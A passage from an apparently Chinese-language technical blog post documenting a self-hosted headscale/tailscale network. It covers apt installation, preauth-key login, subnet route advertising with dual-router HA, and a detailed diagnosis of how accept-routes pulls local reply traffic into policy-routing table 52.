&lt;p&gt;&lt;strong&gt;更新(2026-08-16)&lt;&#x2F;strong&gt;:新增 tailnet 第 5、6 节点并上线公司侧双路由器 HA——公司局域网 &lt;code&gt;xiao99&lt;&#x2F;code&gt;(192.168.7.99,100.64.0.5)通告 &lt;code&gt;192.168.4.0&#x2F;22&lt;&#x2F;code&gt;,与 &lt;code&gt;peter-optiplex-7090&lt;&#x2F;code&gt; 双通告双审批(客户端按连接分配、故障自动切换);home 局域网 &lt;code&gt;peter-megabook-14&lt;&#x2F;code&gt;(192.168.2.147,100.64.0.6)作为普通节点加入。同日踩坑:&lt;strong&gt;子网路由器 accept 自吸&lt;&#x2F;strong&gt;(xiao99 开 &lt;code&gt;--accept-routes&lt;&#x2F;code&gt; 后 LAN 内主机 ping 不通它、tailnet 直连却正常,回包被 table 52 吸进 tailscale0),详见「子网路由原理」一节。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;an-zhuang-guan-fang-apt-yuan-guo-nei-zhi-lian-ke-yong&quot;&gt;安装(官方 apt 源,国内直连可用)&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Ubuntu 用 ubuntu&amp;#x2F;noble,Debian 用 debian&amp;#x2F;trixie
sudo mkdir -p --mode=0755 &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings
curl -fsSL https:&amp;#x2F;&amp;#x2F;pkgs.tailscale.com&amp;#x2F;stable&amp;#x2F;&amp;lt;发行版&amp;gt;.noarmor.gpg | sudo tee &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;tailscale-archive-keyring.gpg &amp;gt;&amp;#x2F;dev&amp;#x2F;null
curl -fsSL https:&amp;#x2F;&amp;#x2F;pkgs.tailscale.com&amp;#x2F;stable&amp;#x2F;&amp;lt;发行版&amp;gt;.tailscale-keyring.list | sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;sources.list.d&amp;#x2F;tailscale.list &amp;gt;&amp;#x2F;dev&amp;#x2F;null
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install -y tailscale
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;deng-lu-preauthkey-mian-liu-lan-qi&quot;&gt;登录(preauthkey 免浏览器)&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# VPS 创建用户 + key(headscale 0.29 的 --user 参数是数字 ID!)
docker-compose exec headscale headscale users create peter
docker-compose exec headscale headscale users list            # 拿 ID
docker-compose exec headscale headscale preauthkeys create --user &amp;lt;ID&amp;gt; --expiration 24h

# 客户端:
sudo tailscale up --login-server=https:&amp;#x2F;&amp;#x2F;headscale.demo.com:8443 --authkey=&amp;lt;key&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo tailscale status
# 100.64.0.1  company  peter  linux  -
# 100.64.0.2  home     peter  linux  active; direct &amp;lt;home公网IP&amp;gt;:&amp;lt;端口&amp;gt;, tx 5716 rx 4540

sudo tailscale ping --c 3 100.64.0.2
# pong from home via &amp;lt;home公网IP&amp;gt;:61761 in 21ms   ← direct,不经 VPS

sudo tailscale netcheck   # 确认 Nearest DERP 是自建节点,无海外
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实测结果:打洞成功(21ms 直连),DERP 地图只有自建节点。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;vps-guan-li-jie-dian-di-3-jie-dian-2026-08-15-jia-ru&quot;&gt;VPS 管理节点(第 3 节点,2026-08-15 加入)&lt;&#x2F;h2&gt;
&lt;p&gt;VPS 也加入 tailnet,作为 headplane 面板所在的管理节点——headscale 控制面容器与 tailscaled 客户端共存无冲突(8443&#x2F;3478 与客户端数据面 UDP 41641 不撞端口):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装(Ubuntu noble 官方源,需 sudo)
sudo mkdir -p --mode=0755 &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings
curl -fsSL https:&amp;#x2F;&amp;#x2F;pkgs.tailscale.com&amp;#x2F;stable&amp;#x2F;ubuntu&amp;#x2F;noble.noarmor.gpg | sudo tee &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;tailscale-archive-keyring.gpg &amp;gt;&amp;#x2F;dev&amp;#x2F;null
curl -fsSL https:&amp;#x2F;&amp;#x2F;pkgs.tailscale.com&amp;#x2F;stable&amp;#x2F;ubuntu&amp;#x2F;noble.tailscale-keyring.list | sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;sources.list.d&amp;#x2F;tailscale.list &amp;gt;&amp;#x2F;dev&amp;#x2F;null
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install -y tailscale

# 登录(--operator=peter 让普通用户免 sudo 执行 tailscale 命令)
sudo tailscale up --login-server=https:&amp;#x2F;&amp;#x2F;headscale.demo.com:8443 --authkey=&amp;lt;key&amp;gt; --operator=peter
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;tailnet IP &lt;strong&gt;固定为 &lt;code&gt;100.64.0.100&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;(刻意选的易记地址)。headscale 0.29 没有 CLI 指定 IP,固定方式是直接改 sqlite 的 &lt;code&gt;nodes.ipv4&lt;&#x2F;code&gt;(&lt;code&gt;headscale nodes list -o json&lt;&#x2F;code&gt; 确认节点 ID → &lt;code&gt;docker stop headscale&lt;&#x2F;code&gt; → 备份 → 改库 → &lt;code&gt;docker start&lt;&#x2F;code&gt;);若节点重新注册 IP 会变,需同步改 compose 绑定、headplane.yaml 的 &lt;code&gt;base_url&lt;&#x2F;code&gt; 和 @reboot cron 的 grep 模式。headplane 绑定该 IP 供其他节点访问(见下节)。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;部署时遇到的 DNS 坑&lt;&#x2F;strong&gt;:VPS 的阿里云 VPC DNS(100.100.2.136&#x2F;138)曾整体不可达,导致 tailscaled 登录控制面失败(DoH 兜底又被大陆屏蔽)。已通过 &lt;code&gt;&#x2F;etc&#x2F;hosts&lt;&#x2F;code&gt; 硬编码 &lt;code&gt;headscale.demo.com&lt;&#x2F;code&gt; + systemd-resolved 改用公共 DNS(223.5.5.5&#x2F;119.29.29.29)修复。&lt;strong&gt;更正(2026-08-21)&lt;&#x2F;strong&gt;:当时判断为&quot;DNS 污染&#x2F;不可达&quot;不完整——真因是 ts-input 防欺骗规则丢 100.x 回包(CGNAT 网段冲突,与下文备份失败同根因),绕过有效但掩盖了根因。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;开机顺序坑&lt;&#x2F;strong&gt;:重启后 docker 先于 tailscaled 启动,headplane 绑定的 &lt;code&gt;100.64.0.100:3000&lt;&#x2F;code&gt; 会绑定失败导致容器起不来。兜底:peter 的 @reboot cron 等待 &lt;code&gt;ts0&lt;&#x2F;code&gt; 出现 tailnet IP 后 &lt;code&gt;docker restart headplane&lt;&#x2F;code&gt;;未生效时手动重启容器即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;home-proxmox-su-zhu-di-4-jie-dian-2026-08-15-jia-ru&quot;&gt;home Proxmox 宿主(第 4 节点,2026-08-15 加入)&lt;&#x2F;h2&gt;
&lt;p&gt;tailnet 第 4 节点为 home 局域网内的 Proxmox 宿主(&lt;code&gt;peter.xiao.com&lt;&#x2F;code&gt;,192.168.2.100,Debian 13),与 home 机 xiao200(192.168.2.200)同网段。加入方式与 VPS 节点完全相同:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装(debian&amp;#x2F;trixie 官方源)后登录,同样 --operator=peter 免 sudo
sudo tailscale up --login-server=https:&amp;#x2F;&amp;#x2F;headscale.juzhong.xyz:8443 --authkey=&amp;lt;key&amp;gt; --operator=peter
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键点:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;节点重命名走面板&lt;&#x2F;strong&gt;:headscale 0.29 的 CLI 是 &lt;code&gt;headscale nodes rename -i &amp;lt;id&amp;gt; &amp;lt;新名&amp;gt;&lt;&#x2F;code&gt;(需在 VPS 上 exec),但完全可以在 headplane 面板 Machines 里直接改——本次 4 个节点全部在面板统一重命名(&lt;code&gt;peter-optiplex-7090&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;xiao200&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;ali&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;peter-xiao100&lt;&#x2F;code&gt;)。CLI 与面板等效,均即时下发,无需重启服务端或客户端(客户端下次同步 netmap 即生效)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;实测延迟&lt;&#x2F;strong&gt;:同网段 xiao200 直连 ~5ms(局域网内部,不出网);VPS 直连 ~4ms;公司机打洞直连 ~25-36ms(首包经 DERP(ali) 后切 direct)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;策略路由表&lt;&#x2F;strong&gt;:tailnet 路由在 Linux 上不占用主路由表,&lt;code&gt;ip route&lt;&#x2F;code&gt; 看不到 &lt;code&gt;100.64.0.0&#x2F;10&lt;&#x2F;code&gt; 属正常——路由在独立 &lt;code&gt;table 52&lt;&#x2F;code&gt;,由 &lt;code&gt;ip rule&lt;&#x2F;code&gt; 的 &lt;code&gt;5270: from all lookup 52&lt;&#x2F;code&gt; 策略路由承接(优先级低于 fwmark 自保护规则、高于主表),&lt;code&gt;ip route show table 52&lt;&#x2F;code&gt; 才能看到。tailscaled 自身流量(连控制面&#x2F;STUN)打 fwmark &lt;code&gt;0x80000&lt;&#x2F;code&gt;,先查 main&#x2F;default 表,避免走 tailnet 递归。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;preauth key 与节点有效期无关&lt;&#x2F;strong&gt;:&lt;code&gt;--expiration 24h&lt;&#x2F;code&gt; 只限制 key 的注册窗口,节点注册成功后永久有效(nodes list 的 Expiration 为 N&#x2F;A),除非手动 expire&#x2F;delete。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;gong-si-ce-zi-wang-lu-you-qi-xiao99-di-5-jie-dian-2026-08-16-jia-ru-shuang-lu-you-qi-ha&quot;&gt;公司侧子网路由器 xiao99(第 5 节点,2026-08-16 加入,双路由器 HA)&lt;&#x2F;h2&gt;
&lt;p&gt;公司局域网内 Debian 13 主机(192.168.7.99,100.64.0.5)。此前已入网,本次补通告 &lt;code&gt;192.168.4.0&#x2F;22&lt;&#x2F;code&gt;,与 peter-optiplex-7090 组成&lt;strong&gt;双路由器 HA&lt;&#x2F;strong&gt;(同一网段双通告双审批,headscale 0.29 &lt;code&gt;node.routes.ha&lt;&#x2F;code&gt; 默认开启,客户端按连接哈希分发、一台挂掉自动切换):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# ① 补通告(已是节点、--operator=peter,免 sudo;tailscale up 需列出全部非默认 flag,含 --login-server)
tailscale up --login-server=https:&amp;#x2F;&amp;#x2F;headscale.juzhong.xyz:8443 --advertise-routes=192.168.4.0&amp;#x2F;22

# ② VPS 审批(ip_forward Debian 13 默认已是 1)
docker-compose exec headscale headscale nodes approve-routes -i 6 -r 192.168.4.0&amp;#x2F;22
docker-compose exec headscale headscale nodes list-routes   # 两个节点同一网段均为 Approved+Available
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看路由偏好:&lt;code&gt;tailscale status&lt;&#x2F;code&gt; &lt;strong&gt;不显示&lt;&#x2F;strong&gt; advertise&#x2F;accept,要用 &lt;code&gt;tailscale debug prefs&lt;&#x2F;code&gt;(AdvertiseRoutes&#x2F;AcceptRoutes 字段)。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;勘误(2026-09-12)&lt;&#x2F;strong&gt;:prefs 里 accept-routes 的字段名不是 &lt;code&gt;AcceptRoutes&lt;&#x2F;code&gt;,而是 &lt;strong&gt;&lt;code&gt;RouteAll&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;——&lt;code&gt;tailscale debug prefs&lt;&#x2F;code&gt; 输出中并没有 &lt;code&gt;AcceptRoutes&lt;&#x2F;code&gt; 字段,查&quot;是否接受路由&quot;要看 &lt;code&gt;RouteAll&lt;&#x2F;code&gt;(宣告仍是 &lt;code&gt;AdvertiseRoutes&lt;&#x2F;code&gt;)。tailscale 1.102 实测(新节点与 Proxmox 宿主)。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;home-ji-peter-megabook-14-di-6-jie-dian-2026-08-16-jia-ru&quot;&gt;home 机 peter-megabook-14(第 6 节点,2026-08-16 加入)&lt;&#x2F;h2&gt;
&lt;p&gt;home 局域网内 Ubuntu 26.04 笔记本(192.168.2.147,100.64.0.6),普通节点,无子网路由角色。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注册踩坑&lt;&#x2F;strong&gt;:首次接入时没带 &lt;code&gt;--login-server&lt;&#x2F;code&gt;,误注册到了&lt;strong&gt;官方控制面&lt;&#x2F;strong&gt;(login.tailscale.com,登录链接形如 &lt;code&gt;https:&#x2F;&#x2F;login.tailscale.com&#x2F;a&#x2F;xxx&lt;&#x2F;code&gt;)——与自建 headscale 是两个完全不同的控制面,节点列表互不可见。修复:先杀掉等待官方认证的 &lt;code&gt;tailscale up&lt;&#x2F;code&gt; 进程,再用 preauthkey 指向自建控制面重新注册即可,&lt;code&gt;tailscale status&lt;&#x2F;code&gt; 立刻显示 tailnet 全部节点。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;an-quan-she-ji-zi-wang-fang-wen-mo-ren-guan-bi-xian-shi-kai-guan&quot;&gt;安全设计:子网访问默认关闭,显式开关&lt;&#x2F;h1&gt;
&lt;p&gt;默认仅 tailnet 节点互通(虚拟网段内),&lt;strong&gt;任何一侧局域网互访默认关闭&lt;&#x2F;strong&gt;,按需开启:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 开启「公司侧局域网可被 home 访问」三步:
# ① 公司机宣告路由:
sudo tailscale up --login-server=https:&amp;#x2F;&amp;#x2F;headscale.demo.com:8443 --advertise-routes=192.168.4.0&amp;#x2F;22
# ② home 机接受路由:
sudo tailscale up --login-server=https:&amp;#x2F;&amp;#x2F;headscale.demo.com:8443 --accept-routes
# ③ VPS 审批(0.29.3 语法):
docker-compose exec headscale headscale nodes list-routes
docker-compose exec headscale headscale nodes approve-routes -i &amp;lt;node_id&amp;gt; -r 192.168.4.0&amp;#x2F;22

# 关闭(任一侧,恢复仅节点互通):
sudo tailscale up --login-server=https:&amp;#x2F;&amp;#x2F;headscale.demo.com:8443
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;home 侧对称操作(宣告 192.168.2.0&#x2F;24)。&lt;code&gt;tailscale up&lt;&#x2F;code&gt; 重复执行只更新偏好,不会掉线。公司网段需注意与 home 网段、tailnet CGNAT 段(100.64.0.0&#x2F;10)无冲突。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zi-wang-lu-you-yuan-li-xuan-gao-jie-shou-ip-forward-snat-yu-hui-cheng-2026-08-15-shi-ce-zheng-li&quot;&gt;子网路由原理:宣告&#x2F;接受、ip_forward、SNAT 与回程(2026-08-15 实测整理)&lt;&#x2F;h2&gt;
&lt;p&gt;子网访问能通依赖三件套,缺一不可:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;① 宣告 vs 接受(方向配对)&lt;&#x2F;strong&gt;:&lt;code&gt;--advertise-routes&lt;&#x2F;code&gt; = 宣告方(我所在的局域网可被 tailnet 访问,需 headscale &lt;code&gt;nodes approve-routes&lt;&#x2F;code&gt; 审批才生效);&lt;code&gt;--accept-routes&lt;&#x2F;code&gt; = 接受方(把对端宣告的子网注入本机路由表)。&lt;strong&gt;⚠️ 子网路由器不要 accept&lt;&#x2F;strong&gt;(见下方「accept 自吸」),本方案 &lt;code&gt;scripts&#x2F;*-routes-on.sh&lt;&#x2F;code&gt; 已改为只通告,需要接受对端网段时单独跑 &lt;code&gt;*-accept.sh&lt;&#x2F;code&gt;——同一台机器不要同时跑两个脚本。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;② IP 转发(最容易漏)&lt;&#x2F;strong&gt;:子网路由器必须 &lt;code&gt;net.ipv4.ip_forward = 1&lt;&#x2F;code&gt;,&lt;strong&gt;tailscale 不会自动设置&lt;&#x2F;strong&gt;(Linux 上;macOS 才自动)。Ubuntu 工作站默认是 0——实测本方案中 home 侧 Proxmox 宿主天然为 1(PVE 桥接需要),但公司机极可能为 0,子网流量会静默不通。已在 &lt;code&gt;scripts&#x2F;*-routes-on.sh&lt;&#x2F;code&gt; 里加入启动时自动检查并开启(&lt;code&gt;sysctl -w&lt;&#x2F;code&gt; 仅本次生效,持久化需写 &lt;code&gt;&#x2F;etc&#x2F;sysctl.d&#x2F;99-tailscale.conf&lt;&#x2F;code&gt;)。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;③ SNAT(默认开启,零配置)&lt;&#x2F;strong&gt;:&lt;code&gt;--snat-subnet-routes&lt;&#x2F;code&gt; 默认 true,tailscale 自动对子网转发流量做 masquerade。效果:子网内主机看到的源 IP 是&lt;strong&gt;子网路由器的局域网 IP&lt;&#x2F;strong&gt;(不是 tailnet 的 100.64.0.x),回包只需发给默认网关(即子网路由器),conntrack 对称恢复后送回隧道——&lt;strong&gt;子网内主机完全不需要知道 tailnet 路由,回程天然通畅&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;home(100.64.0.2) → tailscale0 → 子网路由器解密 → 内核转发 eth0
    ↑                                 │ 并发包 SNAT:源 100.64.0.2 → 路由器 LAN IP
    └── conntrack 恢复源地址 ← 子网内主机回包给默认网关(路由器)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;何时需要手动回程路由&lt;&#x2F;strong&gt;:只有关闭 SNAT(&lt;code&gt;--snat-subnet-routes=false&lt;&#x2F;code&gt;,需保留真实源 IP 做日志审计时)才有此需求——此时子网内主机收到源为 &lt;code&gt;100.64.0.x&lt;&#x2F;code&gt; 的包,必须给它加 &lt;code&gt;100.64.0.0&#x2F;10 → 子网路由器 LAN IP&lt;&#x2F;code&gt; 的静态路由(DHCP&#x2F;VPC 下发),否则回程丢包。默认 SNAT 开启时无此坑。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;排障顺序&lt;&#x2F;strong&gt;:① 两端 accept&#x2F;advertise 是否配对(&lt;code&gt;tailscale debug prefs&lt;&#x2F;code&gt; 查 AdvertiseRoutes&#x2F;RouteAll;原文此处误写为 AcceptRoutes,勘误见上文「查看路由偏好」);② headscale &lt;code&gt;nodes list-routes&lt;&#x2F;code&gt; 的 Approved 列是否包含该网段;③ 子网路由器 &lt;code&gt;sysctl net.ipv4.ip_forward&lt;&#x2F;code&gt; 是否为 1;④ 目标机防火墙;⑤ 子网路由器是否误开 accept(见下条)。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;accept-routes 自吸(2026-08-16 实测 xiao99,全网段断连 20 分钟的元凶)&lt;&#x2F;strong&gt;:机器&lt;strong&gt;自己就在通告的网段内&lt;&#x2F;strong&gt;时开 &lt;code&gt;--accept-routes&lt;&#x2F;code&gt;,tailscale 会把本网段路由也装进 table 52(策略路由 &lt;code&gt;5270 lookup 52&lt;&#x2F;code&gt; 优先于 &lt;code&gt;32766 lookup main&lt;&#x2F;code&gt;),于是——&lt;strong&gt;本机发往局域网的包(含对 LAN 主机的回包)全部被吸进 tailscale0&lt;&#x2F;strong&gt;,tailscaled 视其为不可达丢弃。症状极具迷惑性:&lt;strong&gt;局域网内主机 ping 这台机器 100% 丢包,但 tailnet 直连(&lt;code&gt;tailscale ping 100.64.0.x&lt;&#x2F;code&gt;)完全正常&lt;&#x2F;strong&gt;——先怀疑隧道&#x2F;打洞坏了,实际是回包自吸。抓包特征:回包从 &lt;code&gt;tailscale0 Out&lt;&#x2F;code&gt; 出去(&lt;code&gt;ICMP ... udp port xxx unreachable&lt;&#x2F;code&gt;),br0 上只有入包没有回包。修复:&lt;code&gt;tailscale set --accept-routes=false&lt;&#x2F;code&gt; 秒恢复。tailscale 官方文档对 HA 双路由器场景同样警告:&quot;standby 会接受 primary 宣告的同一路由,导致本可直接连接的子网绕道 primary&quot;——&lt;strong&gt;双通告的路由器应该只用 &lt;code&gt;--advertise-routes&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;宣告网段内普通节点 accept 自吸(2026-10-07 KVM VM 实测,2026-10-10 笔记本复现,附回包消失的机制层解释)&lt;&#x2F;strong&gt;:xiao99 案例是&lt;strong&gt;宣告者本人&lt;&#x2F;strong&gt;自吸;后来发现&lt;strong&gt;非宣告者的普通节点&lt;&#x2F;strong&gt;住进被宣告网段(192.168.2.0&#x2F;24)再开 accept-routes,同样中招——本网段路由装进 table 52 后,本网段互访的回包被吸进隧道。2026-10-07:宿主上的 KVM VM(192.168.2.156,为经隧道访问公司网段开 accept)宿主 ping&#x2F;SSH 全超时,但 ARP&#x2F;IPv6 直连&#x2F;tailscale IP 正常(&quot;半通&quot;最迷惑);VM 反向 ping 宿主却&lt;strong&gt;通&lt;&#x2F;strong&gt;——去程绕隧道经 subnet router 三层 hairpin、回程走 LAN 的非对称路径(延迟 1.8ms、ping 网关 TTL=63 是绕行铁证)。2026-10-10:home 笔记本(192.168.2.129,100.64.0.6)同型复现,并补齐了最后一块拼图——&lt;strong&gt;回包进了隧道后,为什么对端还是没收到&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;双向对照实验&lt;&#x2F;strong&gt;:笔记本主动 ping 宿主&lt;strong&gt;通&lt;&#x2F;strong&gt;——request 查 table 52 进隧道时,内核按出口设备 tailscale0 &lt;strong&gt;自动选源&lt;&#x2F;strong&gt;为 100.64.0.6(tailscale IP);宿主 ping 笔记本&lt;strong&gt;不通&lt;&#x2F;strong&gt;——reply 的源必须沿用 request 的目的地址(192.168.2.129,LAN 地址),ICMP 应答不能改源。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;宿主 tailscale0 抓包 0 回包&lt;&#x2F;strong&gt;:丢包点锁定在发送方 tailscaled——它的 packet filter 有&lt;strong&gt;源地址防欺骗检查,只放行&quot;源 = 本节点 tailscale IP&quot;的包&lt;&#x2F;strong&gt;,以 LAN IP 为源的回包进 TUN 即被丢弃,根本没封装发出(与后文阿里云 CGNAT 案例实测的 ts-input 入方向 DROP 是同族机制,本例是出方向表现)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;推论&lt;&#x2F;strong&gt;:&quot;非对称路由在普通链路上常能通&quot;(ICMP socket 不绑接口,回包绕路回来照样交付)在这里不成立——&lt;strong&gt;&quot;去程走 LAN &#x2F; 回程走隧道且回程带 LAN 源地址&quot;的组合必死&lt;&#x2F;strong&gt;,这就是&quot;接受了通告路由也照样不通&quot;的原因。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;修复(10-07 定型,10-10 复用):&lt;strong&gt;保持 accept-routes&lt;&#x2F;strong&gt;(VM&#x2F;笔记本要经隧道访问对端子网,不能关),把本网段查表固定回 main 表——&lt;code&gt;ip rule add to 192.168.2.0&#x2F;24 lookup main priority 5255&lt;&#x2F;code&gt;(任何 &amp;lt;5270 皆可)。妙处在于两全:在网段内时 main 表直连路由获胜,回包走 WiFi&#x2F;网线;带笔记本出门后 main 表查不到本网段,自动落回 table 52 走隧道,子网路由功能无损。ip rule 重启即丢,需 systemd oneshot 单元持久化(tailscaled 只管理 5210–5270 自己的段,不会代为恢复)。注意&quot;&#x2F;23 更短前缀宣告让本地 &#x2F;24 获胜&quot;仅在 Windows&#x2F;macOS 有效——Linux 策略路由逐表顺序查找、跨表无最长前缀,main 表的 &#x2F;24 轮不到被比(tailscale issue #1227)。tailnet 内已修复三例:xiao99(宣告者,关 accept 即可)、KVM VM、笔记本(普通节点,豁免+持久化);完整排查记录与单元模板沉淀在 tailscale-p2p 仓库文档。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;双路由器 HA(2026-08-16 实测)&lt;&#x2F;strong&gt;:同一网段 &lt;code&gt;192.168.4.0&#x2F;22&lt;&#x2F;code&gt; 由 peter-optiplex-7090 与 xiao99 双通告并逐个审批后,headscale &lt;code&gt;node.routes.ha&lt;&#x2F;code&gt;(默认开启)使客户端同时拿到两条候选路由,按连接(五元组哈希)分发、单台掉线自动切换;&lt;code&gt;headscale nodes list-routes&lt;&#x2F;code&gt; 两个节点均显示 Approved+Available。局限:无法配置优先级(主备),负载近似均分;两台都别开 accept。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;与 OpenVPN 路由共存(2026-08-16 实测 peter-xiao100)&lt;&#x2F;strong&gt;:home 本机已有 OpenVPN 路由 &lt;code&gt;192.168.4.0&#x2F;22 via 10.8.0.5 dev tun0&lt;&#x2F;code&gt;(main 表),与 tailnet 宣告的公司网段&lt;strong&gt;完全重叠&lt;&#x2F;strong&gt;。实测结论:&lt;strong&gt;不冲突,但 tailscale 会接管&lt;&#x2F;strong&gt;——tailnet 子网路由进独立 table 52,策略路由优先级 &lt;code&gt;5270 lookup 52&lt;&#x2F;code&gt; &amp;lt; &lt;code&gt;32766 lookup main&lt;&#x2F;code&gt;,accept 后访问 192.168.4.x 全部走 tailscale 隧道(公司机作子网路由器 + SNAT),OpenVPN 那条路由休眠但保留。两条隧道本质是&quot;到同一网段的两个入口&quot;,谁的路由表优先级高谁生效。想继续走 OpenVPN(如 443 穿透公司严格 NAT)就&lt;strong&gt;不要&lt;&#x2F;strong&gt;执行 accept;接管情况用 &lt;code&gt;ip route show table 52&lt;&#x2F;code&gt; 确认。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;guan-li-mian-ban-headplane-fang-wen&quot;&gt;管理面板(headplane)访问&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;更正(2026-08-15)&lt;&#x2F;strong&gt;:本文初稿的&quot;headplane 公网访问&quot;方案(CF Tunnel &#x2F; Zero Trust)当时并未实际启用——&lt;code&gt;panel.juzhong.xyz&lt;&#x2F;code&gt; 未建 DNS 记录、cloudflared 也未配对应 ingress。实际落地改为&lt;strong&gt;经 tailnet 内访问&lt;&#x2F;strong&gt;(headplane 不监听公网,只绑 &lt;code&gt;127.0.0.1:3000&lt;&#x2F;code&gt; 与 tailnet IP &lt;code&gt;100.64.0.100:3000&lt;&#x2F;code&gt;)。原方案对比保留,作为未来公网访问的备选资料。为何不用 &lt;code&gt;tailscale serve&lt;&#x2F;code&gt; 暴露见文末&quot;踩坑记录&quot;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;headplane 绑定:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;# docker-compose.yml
    ports:
      - &amp;quot;127.0.0.1:3000:3000&amp;#x2F;tcp&amp;quot;
      - &amp;quot;100.64.0.100:3000:3000&amp;#x2F;tcp&amp;quot;

# headplane.yaml
  base_url: &amp;quot;http:&amp;#x2F;&amp;#x2F;100.64.0.100:3000&amp;quot;   # tailnet IP,须与绑定一致
  cookie_secure: false                  # tailnet 内走 HTTP;WireGuard 已加密,无需 secure cookie
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;访问:任意 tailnet 节点浏览器开 &lt;code&gt;http:&#x2F;&#x2F;100.64.0.100:3000&#x2F;admin&lt;&#x2F;code&gt;,用 headscale API key 登录。安全模型:公网安全组不放行 3000 + 容器不监听 0.0.0.0 + WireGuard 端到端加密 + API key 认证,四层无公网暴露面。&lt;&#x2F;p&gt;
&lt;p&gt;运维速查(常用命令):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cd &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;p2p
docker-compose exec headscale headscale users list                # 用户及 ID
docker-compose exec headscale headscale users create &amp;lt;名称&amp;gt;        # 新增用户
